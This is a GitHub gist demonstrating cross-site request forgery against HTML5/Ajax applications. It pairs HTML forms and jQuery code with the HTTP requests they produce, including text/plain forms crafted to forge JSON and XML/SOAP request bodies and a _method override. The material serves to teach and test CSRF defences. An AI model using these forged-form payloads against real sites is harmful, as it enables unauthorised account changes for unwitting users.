Skip to content

Instantly share code, notes, and snippets.

@PiotrPodsiadly
Last active August 29, 2015 14:16
Show Gist options
  • Select an option

  • Save PiotrPodsiadly/cef60b358d8e90db225e to your computer and use it in GitHub Desktop.

Select an option

Save PiotrPodsiadly/cef60b358d8e90db225e to your computer and use it in GitHub Desktop.
CSRF in HTML5/Ajax web application
<form action="/change-my-email" method="POST">
<input type="text" name="email" value="john@domain.com"/>
<input type="submit" value="test"/>
</form>
POST /change-my-email HTTP/1.1
Host: www.example.com
Content-Type: application/x-www-form-urlencoded
email=john%40domain.com
$.ajax({
type: "POST",
url: "/change-my-email",
data: { email: "john@domain.com" }
}).done(function( msg ) {
console.log( "Data Saved: " + msg );
});
POST /change-my-email HTTP/1.1
Host: www.example.com
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
email=john%40domain.com
<form enctype="text/plain" action="/doit" method="post">
<input type="hidden" name='{"ignoreMe":"' value='", "email":"john@domain.com"}'>
<input type="submit" value="test"/>
</form>
POST /doit HTTP/1.1
Host: www.example.com
Content-Type: text/plain
{"ignoreMe":"=", "email":"john@domain.com"}
<form action="/news/1" method="post">
<input name="_method" type="hidden" value="put" />
</form>
<form enctype="text/plain" action="/doit" method="post">
<input type="hidden" name='<?xml version' value='"1.0"?><mySoapBody>isHere</mySoapBody>'>
<input type="submit" value="test"/>
</form>
POST /doit HTTP/1.1
Host: www.example.com
Content-Type: text/plain
<?xml version="1.0"?><mySoapBody>isHere</mySoapBody>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment